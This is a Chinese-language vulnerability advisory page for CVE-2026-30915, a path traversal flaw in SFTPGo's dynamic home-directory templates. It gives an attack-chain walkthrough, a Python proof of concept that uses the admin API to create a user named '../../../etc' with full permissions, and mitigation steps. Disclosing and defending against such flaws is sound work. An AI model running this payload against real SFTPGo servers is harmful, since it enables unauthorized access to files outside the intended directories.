IPBUF安全漏洞报告
English
CVE-2026-30915 CVSS 4.3 中危

SFTPGo动态组路径遍历漏洞(CVE-2026-30915)

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-30915
漏洞类型
路径遍历
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SFTPGo

相关标签

路径遍历SFTPGo输入验证文件传输CVE-2026-30915动态路径目录遍历

漏洞概述

SFTPGo是一款开源的事件驱动文件传输解决方案。该漏洞存在于SFTPGo处理动态组路径(home目录或key前缀)的过程中。当配置组使用包含%username%等占位符的动态home目录或key前缀时,系统在替换占位符时未对用户输入进行严格的路径规范化验证。攻击者可通过创建包含路径遍历序列(如../)的特制用户名,使最终解析的路径超出预期目录范围,从而访问或操作本无权访问的文件系统区域。该漏洞影响SFTPGo 2.7.1之前的所有版本,CVSS评分4.3,属于中等严重程度。攻击者需要具备低权限用户账户即可实施攻击,无需用户交互即可完成漏洞利用。

技术细节

SFTPGo的动态组路径功能允许管理员配置基于用户名的动态路径模板,使用%username%等占位符自动生成用户的home目录或key存储路径。然而,该功能在处理占位符替换时存在输入验证缺陷。具体来说,当用户名包含路径遍历字符序列(如../或..\)时,系统未进行充分的路径规范化处理,导致替换后的路径可能解析到预期目录的父目录或其他敏感位置。攻击者只需创建一个特制用户名的账户,即可利用此漏洞访问受限文件系统的任意位置。该漏洞的技术根源在于缺少对用户输入的严格校验和路径规范化操作。攻击者可以利用符号链接结合路径遍历实现更深层次的目录访问,绕过SFTPGo的文件访问控制策略。

攻击链分析

STEP 1
步骤1
攻击者获取SFTPGo系统的低权限账户访问权限
STEP 2
步骤2
攻击者通过API创建新用户,用户名包含路径遍历序列(如../../../etc)
STEP 3
步骤3
系统使用动态组路径模板(包含%username%占位符)创建用户的home目录
STEP 4
步骤4
系统未对用户名中的路径遍历字符进行验证和规范化,直接替换占位符
STEP 5
步骤5
最终解析的路径超出预期目录范围,攻击者获得对父目录的访问权限
STEP 6
步骤6
攻击者利用获得的权限访问或操作敏感文件,执行未授权的文件操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-30915 PoC - SFTPGo Path Traversal in Dynamic Group Paths Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires authenticated access. """ import requests import json # Target SFTPGo server TARGET_URL = "http://target-sftpgo-server:8080" API_TOKEN = "your-api-token-here" def create_malicious_user(): """ Create a user with path traversal characters in username to exploit dynamic group path validation issue """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Malicious username containing path traversal sequence # This will cause the dynamic home directory to resolve to parent directory payload = { "username": "../../../etc", # Path traversal in username "password": "TestPass123!", "email": "[email protected]", "home_dir": "/sftpgo_data/users/%username%", # Dynamic path template "permissions": ["*"], # Full permissions (for demonstration) "quota_size": 1024, "max_sessions": 1 } try: response = requests.post( f"{TARGET_URL}/api/v2/users", headers=headers, json=payload, timeout=10 ) if response.status_code == 201: print("[+] Malicious user created successfully") print(f"[+] Username: {payload['username']}") print(f"[+] Expected home dir: /sftpgo_data/users/{payload['username']}") print("[+] Actual resolved path may be: /sftpgo_data/../etc") return True else: print(f"[-] Failed to create user: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_path_traversal(user_id): """ Verify if the path traversal succeeded by checking user's actual home directory """ headers = { "Authorization": f"Bearer {API_TOKEN}" } try: response = requests.get( f"{TARGET_URL}/api/v2/users/{user_id}", headers=headers, timeout=10 ) if response.status_code == 200: user_data = response.json() actual_home = user_data.get("home_dir", "") print(f"[+] User home directory: {actual_home}") # Check if path traversal occurred if ".." in actual_home: print("[!] Path traversal detected in home directory") return True except requests.exceptions.RequestException as e: print(f"[-] Verification failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-30915 - SFTPGo Path Traversal PoC") print("=" * 60) create_malicious_user()

影响范围

SFTPGo < v2.7.1

防御指南

临时缓解措施
如果无法立即升级到修复版本,建议采取以下临时缓解措施:1)避免使用包含%username%等占位符的动态home目录配置,改为使用静态路径;2)实施严格的用户名命名策略,禁止使用包含路径遍历字符(..、/、\)的用户名;3)配置SFTPGo的chroot环境,限制用户只能访问其home目录;4)启用文件系统级别的访问控制,限制用户目录访问权限;5)监控异常的文件访问模式,及时发现潜在的漏洞利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表